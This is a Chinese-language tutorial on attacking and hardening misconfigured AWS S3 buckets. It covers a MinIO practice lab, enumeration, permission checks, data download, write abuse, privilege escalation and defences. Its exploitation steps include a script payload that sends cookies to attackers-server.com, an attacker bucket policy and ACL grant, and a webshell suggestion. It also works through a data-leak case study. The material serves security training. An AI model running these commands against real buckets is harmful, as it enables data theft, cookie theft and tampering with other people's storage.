适合人群:安全初学者、云安全入门者、渗透测试工程师
前置知识:基本HTTP协议、Linux命令行基础、AWS基础概念
一、前置准备
工具安装
# 安装 AWS CLI
pip3 install awscli # 或 apt install awscli
# 安装 S3 安全扫描工具
pip3 install s3scanner s3utils
# 第三方 S3 枚举工具(Python3)
git clone https://github.com/sa7mon/s3scanner.git
cd s3scanner && pip3 install -r requirements.txt
# 浏览器插件:S3 Bucket Finder(Chrome 扩展)
靶场搭建(本地模拟)
# 使用 MinIO 模拟 S3 环境(Docker)
docker run -d -p 9000:9000 -p 9001:9001 \
-e MINIO_ROOT_USER=admin \
-e MINIO_ROOT_PASSWORD=password123 \
quay.io/minio/minio server /data --console-address ":9001"
# 创建模拟 Bucket 并设置错误权限
pip3 install boto3
python3 -c "
import boto3
from botocore.client import Config
s3 = boto3.client('s3',
endpoint_url='http://localhost:9000',
aws_access_key_id='admin',
aws_secret_access_key='password123',
config=Config(signature_version='s3v4')
)
# 创建测试 bucket
s3.create_bucket(Bucket='vuln-bank-backup')
s3.create_bucket(Bucket='internal-configs')
# 上传敏感文件
s3.put_object(Bucket='vuln-bank-backup', Key='backup/db_dump.sql', Body=b'-- admin password hash: $2y$10$...\n-- credit_card: 4532xxxx')
s3.put_object(Bucket='internal-configs', Key='config.json', Body=b'{"access_key": "AKIAxxxxxxxxxxxxxxxx", "secret": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}')
# 设置公开访问权限(模拟配置错误)
s3.put_public_access_block(Bucket='vuln-bank-backup', PublicAccessBlockConfiguration={'BlockPublicAcls': False, 'BlockPublicPolicy': False, 'IgnorePublicAcls': False, 'RestrictPublicBuckets': False})
# 设置允许公开读取的策略
bucket_policy = {
'Version': '2012-10-17',
'Statement': [{
'Effect': 'Allow',
'Principal': '*',
'Action': 's3:GetObject',
'Resource': 'arn:aws:s3:::vuln-bank-backup/*'
}]
}
import json
s3.put_bucket_policy(Bucket='vuln-bank-backup', Policy=json.dumps(bucket_policy))
print('✅ 靶场环境搭建完成')
"
二、核心原理
S3 Bucket 是什么?
AWS S3(Simple Storage Service)是亚马逊的云对象存储服务。每个存储桶(Bucket)有唯一的全局名称,存储任意数量的文件(Object)。
为什么容易出安全漏洞?
三大原因:
| 原因 | 说明 |
|---|---|
| 默认公开 | 旧版 AWS S3 默认允许 List/Read,新版默认关闭但用户经常手动打开 |
| 命名可枚举 | Bucket 名称全局唯一且公开可查,攻击者可爆破常见命名 |
| 策略复杂 | 桶策略(Bucket Policy)+ ACL + 用户权限三层模型容易配置错误 |
攻击三阶段
发现阶段 → 枚举阶段 → 利用阶段
scann list read/write/priv-esc
三、实操步骤
Step 1:Bucket 名称枚举
常见命名模式:公司名-backup、公司名-assets、公司名-config、公司名-logs
# 方式1:基于字典爆破
for name in target-com-backup target-com-assets target-configs target-logs; do
response=$(curl -sI "https://${name}.s3.amazonaws.com/" -o /dev/null -w "%{http_code}")
if [ "$response" = "200" ]; then
echo "[公开可读] $name"
elif [ "$response" = "403" ]; then
echo "[存在但拒绝] $name"
elif [ "$response" = "404" ]; then
echo "[不存在] $name"
fi
done
# 方式2:使用 s3scanner 自动枚举
python3 s3scanner.py --bucket target-com-backup --dump
# 方式3:查找公开源码/配置文件中的泄露
# 在 GitHub 搜索:`target.com.s3.amazonaws.com` 或 `s3://target`
Step 2:检测 Bucket 权限
# 尝试列出 Bucket 内容(公开可读桶)
curl -sL "https://target-com-backup.s3.amazonaws.com/" | xmllint --format -
# 如果返回 ListBucketResult,说明完全公开可列!
# 如果返回 AccessDenied,说明存在但不可列
# 尝试读取已知路径文件
curl -sI "https://target-com-backup.s3.amazonaws.com/backup/db_dump.sql"
# 使用 AWS CLI 测试
aws s3 ls s3://target-com-backup/ --no-sign-request 2>&1
# 成功 → 完全公开;AccessDenied → 需要认证
Step 3:文件下载与信息提取
# 公开 bucket 直接下载
wget -r -np "https://target-com-backup.s3.amazonaws.com/backup/"
# 有认证的 bucket(泄露了 Access Key 的情况)
aws configure
# AWS Access Key ID: AKIAxxxxxxxxxxxxxxxx
# AWS Secret Access Key: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# 下载所有文件
aws s3 sync s3://internal-configs/ ./downloaded-configs/
# 查找敏感信息
grep -r "password\|secret\|access_key\|AKIA" ./downloaded-configs/
Step 4:写入权限探测与利用
# 测试是否有上传权限
echo "test" > test.txt
aws s3 cp test.txt s3://target-com-backup/ --no-sign-request 2>&1
# 如果上传成功,可以:
# 1. 上传恶意 HTML 实现 XSS 水坑攻击
# 2. 覆盖配置文件实现供应链攻击
echo '<script>fetch("https://attackers-server.com/steal?"+document.cookie)</script>' > malicious.html
aws s3 cp malicious.html s3://target-com-backup/static/ --no-sign-request
# 3. 上传 PHP Webshell(如果 Bucket 后接 Web 服务)
四、权限提升技术
4.1 从只读到写入
| 场景 | 利用方式 |
|---|---|
| 只有 ListObjects 权限 | 读取所有文件泄密 |
| GetObject + AWS Key | 宽桶策略允许特定 IAM 用户写入 |
| 桶 ACL 可写 | 修改 ACL 给自己授予写入权限 |
4.2 修改桶策略提权
# 如果目标允许 s3:PutBucketPolicy
cat > evil_policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": ["s3:GetObject", "s3:PutObject", "s3:DeleteObject"],
"Resource": "arn:aws:s3:::target-com-backup/*"
}
]
}
EOF
aws s3api put-bucket-policy \
--bucket target-com-backup \
--policy file://evil_policy.json
4.3 跨账户访问利用
# 配置跨账户访问
aws s3api put-bucket-acl \
--bucket target-com-backup \
--grant-full-control emailaddress=attacker@example.com
五、实战案例复盘
案例:某金融科技公司 S3 数据泄露
发现:通过 Google Dork site:s3.amazonaws.com "某金融公司名" 找到索引记录
枚举:
curl -sL "https://fintech-backup-2024.s3.amazonaws.com/" | xmllint --format -
结果:返回了包含 300+ 文件的 ListBucketResult
关键发现:
| 文件 | 敏感内容 |
|---|---|
/backup/db_export.sql | 客户姓名、身份证号、银行卡号 |
/config/prod.env | RDS 数据库密码、Redis 连接串 |
/logs/access.log | admin 用户 Session Token |
利用链路:获取数据库密码 → 连接 RDS → 导出 50 万+ 用户数据 → 提交漏洞报告(严重等级)
根因:运维人员误将 BlockPublicAccess 设置为只禁止 ACL 但未禁止桶策略
六、防御建议
6.1 AWS 侧加固
# 1. 启用 S3 阻止公开访问(四条全开)
aws s3control put-public-access-block \
--account-id 123456789012 \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
# 2. 启用 S3 访问日志
aws s3api put-bucket-logging \
--bucket target-com-prod \
--bucket-logging-status '{"LoggingEnabled":{"TargetBucket":"target-com-logs","TargetPrefix":"s3-access/"}}'
# 3. 强制加密(SSE-S3)
aws s3api put-bucket-encryption \
--bucket target-com-prod \
--server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'
6.2 安全实践清单
- ✅ 默认启用
BlockPublicAccess(账户级别) - ✅ 使用 IAM 角色而非长期 Access Key
- ✅ 定期用
aws s3api get-public-access-block审计 - ✅ 启用 S3 版本控制(防止勒索软件覆盖)
- ✅ 使用
aws s3 ls s3://bucket/ --no-sign-request自检 - ✅ 配置 AWS Config 规则
s3-bucket-public-read-prohibited - ✅ 对敏感文件启用 S3 Object Lock(不可变存储)
七、常见陷阱
| 陷阱 | 说明 |
|---|---|
| 混淆 ACL 和桶策略 | 两者独立生效,禁止 ACL 不等于禁止桶策略 |
| 误认 403 为安全 | 403 表示 Bucket 存在但不开放 List,可能仍可通过已知路径读取文件 |
| 跨区域复制泄露 | 源 Bucket 安全但目标 Bucket 配置不当也会导致泄露 |
| 预签名 URL 泄露 | 即使 Bucket 私有,泄露的预签名 URL 可能被滥用 |
| CloudFront CDN 绕过 | 配置了 CDN 后,直接访问 S3 源站可能绕过 CDN 安全策略 |
八、总结(速查表)
S3 安全检测命令速查
# 检测公开可列
curl -sL "https://bucket-name.s3.amazonaws.com/"
# 检测公开读文件
curl -sI "https://bucket-name.s3.amazonaws.com/path/to/file"
# AWS CLI 无认证检测
aws s3 ls s3://bucket-name/ --no-sign-request
# 读取桶策略(如有权限)
aws s3api get-bucket-policy --bucket bucket-name
# 读取桶 ACL
aws s3api get-bucket-acl --bucket bucket-name
# 读取公开访问配置
aws s3api get-public-access-block --bucket bucket-name
常见权限状态解读
| HTTP 状态码 | 含义 |
|---|---|
200 + XML 列表 | 完全公开可列可读 |
200 + 文件内容 | 公开可读但不可列(仅已知路径可读) |
403 | Bucket 存在但拒绝访问(可能私有) |
404 | Bucket 不存在或不同区域 |
307 | Bucket 在不同区域,需重定向 |
三句话总结
- 发现:爆破命名 + 搜索引擎 + 源码泄露找 Bucket
- 检测:
--no-sign-request测试是否公开,get-bucket-policy查看策略 - 利用:公开读 → 数据泄密;公开写 → 恶意文件上传/提权